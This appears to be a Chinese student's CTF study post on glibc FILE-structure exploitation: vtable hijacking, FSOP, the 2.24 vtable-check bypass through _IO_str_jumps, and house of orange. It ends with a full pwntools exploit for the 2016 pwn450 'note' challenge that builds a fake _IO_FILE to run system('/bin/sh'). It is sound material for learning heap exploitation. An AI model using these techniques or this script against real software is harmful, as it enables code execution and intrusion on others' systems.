开——学——啦——真——开——心——啊——o( ̄▽ ̄ )ブ IO的学习也正式开始了,开学也要继续加油!禁止摆烂!(ง •_•)ง
利用 2.23 vtable劫持 许多IO相关函数都调用了_IO_FILE_plus结构体中的vtable指针指向的跳转表中的函数,如果能够劫持vtable那么我们就能改变程序流 劫持vtable有两种方式,只修改_IO_FILE结构体的vtable指针或者直接伪造整个_IO_FILE结构体
FSOP 全局变量_IO_list_all利用单链表管理所有_IO_FILE结构体,如果我们能够控制_IO_list_all或者控制某个_IO_FILE的_chain指针,我们就能进行伪造_IO_FILE结构体的vtable劫持 _IO_flush_all_lockp函数用于刷新所有FILE结构体的输出缓冲区,源码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 int _IO_flush_all_lockp (int do_lock) { int result = 0 ; struct _IO_FILE *fp ; int last_stamp; last_stamp = _IO_list_all_stamp; fp = (_IO_FILE *) _IO_list_all; while (fp != NULL ) { run_fp = fp; if (do_lock) _IO_flockfile (fp); if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T || (_IO_vtable_offset (fp) == 0 && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base))#endif ) && _IO_OVERFLOW (fp, EOF) == EOF) result = EOF; if (do_lock) _IO_funlockfile (fp); run_fp = NULL ; if (last_stamp != _IO_list_all_stamp) { fp = (_IO_FILE *) _IO_list_all; last_stamp = _IO_list_all_stamp; } else fp = fp->_chain; }#ifdef _IO_MTSAFE_IO if (do_lock) _IO_lock_unlock (list_all_lock); __libc_cleanup_region_end (0 );#endif return result; }
调用_IO_flush_all_lockp的过程有:
libc执行abort函数时,堆非法操作可触发,调用栈如下:1 2 3 4 fflush(_IO_fflush)->_IO_flush_all->_IO_flush_all_lockpabort __libc_message malloc_printerr
调用exit函数时1 2 3 4 _IO_flush_all_lockp _IO_cleanup _run_exit_handlersexit
程序正常退出时(同调用exit,因为程序正常退出的时候会调用exit) 整个利用过程就是劫持_IO_list_all或者某个_IO_FILE的_chain指针,然后通过以上三种方式触发_IO_flush_all_lockp函数调用
调用链 1 malloc_printerr->__libc_message->abort ->_IO_flush_all_lockp->_IO_OVERFLOW
2.24-2.27 vtable check 2.24中_IO_OVERFLOW的宏定义发生了变化(以下宏定义皆来自glibc-2.24\libio\libioP.h)
_IO_OVERFLOW1 #define _IO_OVERFLOW(FP, CH) JUMP1 (__overflow, FP, CH)
JUMP11 #define JUMP1(FUNC, THIS, X1) (_IO_JUMPS_FUNC(THIS)->FUNC) (THIS, X1)
_IO_JUMPS_FUNC1 2 3 4 5 6 7 8 9 10 #if _IO_JUMPS_OFFSET # define _IO_JUMPS_FUNC(THIS) \ (IO_validate_vtable \ (*(struct _IO_jump_t **) ((void *) &_IO_JUMPS_FILE_plus (THIS) \ + (THIS)->_vtable_offset))) # define _IO_vtable_offset(THIS) (THIS)->_vtable_offset #else # define _IO_JUMPS_FUNC(THIS) (IO_validate_vtable (_IO_JUMPS_FILE_plus (THIS))) # define _IO_vtable_offset(THIS) 0 #endif
可见在利用vtable跳转表之前先执行了IO_validate_vtable函数,作用是检查vtable是否在glibc的vtable段里
1 2 3 4 5 6 7 8 9 10 11 12 static inline const struct _IO_jump_t *IO_validate_vtable (const struct _IO_jump_t *vtable) { uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables; const char *ptr = (const char *) vtable; uintptr_t offset = ptr - __start___libc_IO_vtables; if (__glibc_unlikely (offset >= section_length)) _IO_vtable_check (); return vtable; }
可见__start___libc_IO_vtables指向第一个vtable _IO_helper_jumps,__stop___libc_IO_vtables指向最后一个vtable _IO_str_chk_jumps的结尾 如果还像2.23那样在堆上伪造vtable肯定无法绕过检查,会进入到_IO_vtable_check函数中
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 void attribute_hidden _IO_vtable_check (void ) {#ifdef SHARED void (*flag) (void ) = atomic_load_relaxed (&IO_accept_foreign_vtables);#ifdef PTR_DEMANGLE PTR_DEMANGLE (flag);#endif if (flag == &_IO_vtable_check) return ; { Dl_info di; struct link_map *l ; if (_dl_open_hook != NULL || (_dl_addr (_IO_vtable_check, &di, &l, NULL ) != 0 && l->l_ns != LM_ID_BASE)) return ; }#else if (__dlopen != NULL ) return ;#endif __libc_fatal ("Fatal error: glibc detected an invalid stdio handle\n" ); }
也就是说我们只能以vtable段中的内容为跳板进行利用
vtable check绕过 利用_IO_str_jumps(也可以利用_IO_wstr_jumps,过程差不多) 查看一下_IO_str_jumps:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 const struct _IO_jump_t _IO_str_jumps libio_vtable = { JUMP_INIT_DUMMY, JUMP_INIT(finish, _IO_str_finish), JUMP_INIT(overflow, _IO_str_overflow), JUMP_INIT(underflow, _IO_str_underflow), JUMP_INIT(uflow, _IO_default_uflow), JUMP_INIT(pbackfail, _IO_str_pbackfail), JUMP_INIT(xsputn, _IO_default_xsputn), JUMP_INIT(xsgetn, _IO_default_xsgetn), JUMP_INIT(seekoff, _IO_str_seekoff), JUMP_INIT(seekpos, _IO_default_seekpos), JUMP_INIT(setbuf, _IO_default_setbuf), JUMP_INIT(sync, _IO_default_sync), JUMP_INIT(doallocate, _IO_default_doallocate), JUMP_INIT(read, _IO_default_read), JUMP_INIT(write, _IO_default_write), JUMP_INIT(seek, _IO_default_seek), JUMP_INIT(close, _IO_default_close), JUMP_INIT(stat, _IO_default_stat), JUMP_INIT(showmanyc, _IO_default_showmanyc), JUMP_INIT(imbue, _IO_default_imbue) };
其中有一个finish,实际上执行的函数是_IO_str_finish,其中有一个相对地址的引用
1 2 3 4 5 6 7 8 9 10 11 void _IO_str_finish (_IO_FILE *fp, int dummy) { if (fp->_IO_buf_base && !(fp->_flags & _IO_USER_BUF)) (((_IO_strfile *) fp)->_s._free_buffer) (fp->_IO_buf_base); fp->_IO_buf_base = NULL ; _IO_default_finish (fp, 0 ); }
我们需要控制:
fp->_IO_buf_base=bin_sh_addr
fp->_flags=0
((_IO_strfile *) fp)->_s._free_buffer=system_addr
_IO_strfile,这些结构体是嵌套定义的:
1 2 3 4 5 6 7 typedef struct _IO_strfile_ { struct _IO_streambuf _sbf ; struct _IO_str_fields _s ; } _IO_strfile;
伪造的_IO_strfile长这样
其中的overflow也有对相对地址的引用,但过程非常复杂,利用起来很不方便
调用链 1 malloc_printerr->__libc_message->abort ->_IO_flush_all_lockp->_IO_str_finish
2.28以后 _IO_str_finish中的相对地址引用被free替换,_IO_str_overflow中的相对引用也被malloc和free替换了
1 2 3 4 5 6 7 8 9 10 11 12 13 void _IO_str_finish (FILE *fp, int dummy) { if (fp->_IO_buf_base && !(fp->_flags & _IO_USER_BUF)) free (fp->_IO_buf_base); fp->_IO_buf_base = NULL ; _IO_default_finish (fp, 0 ); }
例题 东华杯2016-pwn450 note(2.23) 很坐牢也很涨姿势的一道题
静态分析 只能使用一个堆块且无uaf,但edit使用的read_data2函数中存在溢出(只根据’\n’判断读入结束)
new一个堆块的时候会打印堆块地址
思路 泄露libc 申请一个很大的chunk,mmap出来的内存会紧邻libc 当top chunk不能满足分配的大小时_int_malloc会调用sysmalloc
1 2 3 4 5 6 7 else { void *p = sysmalloc (nb, av); if (p != NULL ) alloc_perturb (p, bytes); return p; }
当要求的大小nb>=mp_.mmap_threshold(0x20000)时会调用系统调用mmap分配内存
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 if (av == NULL || ((unsigned long ) (nb) >= (unsigned long ) (mp_.mmap_threshold) && (mp_.n_mmaps < mp_.n_mmaps_max))) { char *mm; try_mmap: if (MALLOC_ALIGNMENT == 2 * SIZE_SZ) size = ALIGN_UP (nb + SIZE_SZ, pagesize); else size = ALIGN_UP (nb + SIZE_SZ + MALLOC_ALIGN_MASK, pagesize); tried_mmap = true ; if ((unsigned long ) (size) > (unsigned long ) (nb)) { mm = (char *) (MMAP (0 , size, PROT_READ | PROT_WRITE, 0 ));
分配的内存紧邻libc向下延伸(0x7fc3d4bff000)
mmap的chunk也有0x10的chunk head同时必须保持页对齐,由于程序会打印堆块地址,根据堆块大小和堆块基址我们就能知道libc基址
创造多个chunk 要触发unsorted bin attack就必须要能在free的状态下控制chunk,但程序不存在uaf。要通过edit的溢出漏洞实现uaf至少需要两个chunk(一个在bin里,一个in use),如果遵循程序的正常流程,free掉的chunk必然和top chunk合并(只能申请0x210大小以上的chunk,在fastbin的范围外) 当top chunk不满足分配要求且要求的size符合一定要求时会free旧的top chunk,旧top chunk会进入unsorted bin 当nb<mp_.mmap_threshold(0x20000)且旧top chunk需要满足以下要求
size>0x20
pre_inuse=1
top chunk address+top chunk size满足页对齐1 2 3 4 assert ((old_top == initial_top (av) && old_size == 0 ) || ((unsigned long ) (old_size) >= MINSIZE && prev_inuse (old_top) && ((unsigned long ) old_end & (pagesize - 1 )) == 0 ));
之后再分割旧top chunk就不存在合并的问题了
unsorted bin attack 这道题要进行unsorted bin attack有一个问题,就是在malloc之前必须free掉原来的chunk,但已经完成unsorted bin attack布置的堆块不能绕过_int_free中对unsorted bin中第一个chunk的连接检查
1 2 3 4 5 6 7 bck = unsorted_chunks(av); fwd = bck->fd;if (__glibc_unlikely (fwd->bk != bck)) { errstr = "free(): corrupted unsorted chunks" ; goto errout; }
倒推一下堆布局:
由于我们需要放一个0x60的chunk(chunk2)到small bin里(后面再解释为什么),这个0x60的chunk同时也将用于unsorted bin attack,要绕开检查,unsorted bin中还得有一个chunk(chunk1),同时必须还有一个chunk在使用中(用于控制chunk2)
chunk1只能来自于free掉的chunk插入,如果是来自于切割那chunk2已经进入small bin(切割unsorted bin中的chunk只有一种情况,就是unsorted bin中仅有一个chunk且是last remainder)
这样的话使用中的chunk必须在遍历unsorted bin之前就能得到。遍历unsorted bin之前会先在fastbin和small bin中找一样的,所以small bin中得有一个chunk 这样堆布局过程就很清楚了
从unsorted bin中的旧top chunk中切割一个small chunk返回
切割chunk2剩下一个0x60的chunk,返回剩下的,此时chunk1已进入small bin
free使用的chunk进入unsorted bin,取走small bin中的chunk
注意利用溢出覆盖next chunk的preinuse位为1防止合并
house of orange unsorted bin attack会将unsorted bin的地址写进_IO_list_all,main arena部分的空间是我们无法完全控制的,但如果我们free一个chunk进main arena中的fake _IO_FILE_plus->_chain部分,下一个_IO_FILE_plus就是我们能够控制的,可以算出chunk的大小应该是0x60,这就是上文需要free一个0x60的chunk进small bin的原因 _IO_flush_all_lockp中调用_IO_OVERFLOW的条件有:
1 2 3 4 5 6 7 8 9 if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T || (_IO_vtable_offset (fp) == 0 && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base))#endif ) && _IO_OVERFLOW (fp, EOF) == EOF) result = EOF;
拆分一下两个条件
```c fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base1 2 3 * ```c _IO_vtable_offset (fp) == 0 && fp-> _mode > 0 && (fp-> _wide_data -> _IO_write_ptr > fp-> _wide_data -> _IO_write_base)
||的关系,满足其中一个就会调用_IO_OVERFLOW main arena中的fake _IO_FILE_plus肯定不满足第一个条件中的 fp->_IO_write_ptr > fp->_IO_write_base
第二个条件中 fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base肯定满足,fp->_mode > 0有满足的可能性(不知道为什么实测没有判断IO_vtable_offset (fp) == 0),需要爆破 布置在heap中的fake _IO_FILE_plus时要保证fp->_mode<=0(exp中设为-1),fp->_IO_write_ptr > fp->_IO_write_base(exp中分别设为1和0)并设置vtable指针,开头写’/bin/sh’
设置跳转表
这样执行_IO_OVERFLOW (fp, EOF)的时候实际执行的就是system(‘/bin/sh’)
ps 用2.23-0ubuntu3_amd64版本的libc时程序会断在进入abort函数之前,调用栈如下:
中断原因是尝试写入不可写段
用2.23-0ubuntu11.3_amd64就没问题 换程序换触发错误方式都会有同样的问题,不知道为什么
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 from pwn import * context.log_level='debug' context.os='linux' context.arch='amd64' def new (size ): p.sendlineafter(b'option--->>\n' ,b'1' ) p.sendlineafter(b'input the size:' ,str (size).encode())def edit (data ): p.sendlineafter(b'option--->>\n' ,b'3' ) p.sendlineafter(b'input the content:' ,data)def delete (): p.sendlineafter(b'option--->>\n' ,b'4' )def bye (): p.sendlineafter(b'option--->>\n' ,b'6' ) p=process('./note' ) libc=ELF('./glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so' ) new(0x200000 ) p.recvuntil(b'0x' ) libcbase=int (p.recvuntil(b'\n' )[:-1 ].decode(),16 )+0x201000 -0x10 print (hex (libcbase)) delete() new(0x200 ) edit(b'\x00' *0x200 +p64(0 )+p64(0x10df1 )) delete() new(0x12000 ) delete() unsorted_bin=libcbase+0x68 +libc.symbols['__malloc_hook' ] _IO_list_all=libcbase+libc.symbols['_IO_list_all' ] system=libcbase+libc.symbols['system' ] new(0x200 ) payload=b'\x00' *0x200 +p64(0 )+p64(0x10dd1 )+p64(unsorted_bin)*2 +b'\x00' *0x10db0 +p64(0x10dd0 )+p64(0x11 ) edit(payload) delete() new(0x10d60 ) payload=b'\x00' *0x10d60 +p64(0 )+p64(0x61 )+p64(unsorted_bin)*2 +b'\x00' *0x40 +p64(0x60 )+p64(0x11 ) edit(payload) delete() new(0x200 ) p.recvuntil(b'0x' ) heap=int (p.recvuntil(b'\n' )[:-1 ].decode(),16 )-0x10 print (hex (heap)) payload=b'\x00' *0x200 +p64(0 )+p64(0x10d71 )+p64(heap+0x210 )+p64(unsorted_bin)+b'\x00' *0x10d50 payload+=b'/bin/sh\x00' +p64(0x61 )+p64(unsorted_bin)+p64(_IO_list_all-0x10 ) payload+=p64(0 ) payload+=p64(1 ) payload+=b'\x00' *(0xc0 -48 ) payload+=p64(0xffffffffffffffff ) payload+=b'\x00' *(0xd8 -8 -0xc0 ) payload+=p64(heap+0x11060 ) payload+=p64(0 )*2 payload+=p64(1 ) payload+=p64(system) edit(payload) delete() gdb.attach(p) new(0xb00 ) pause() p.interactive()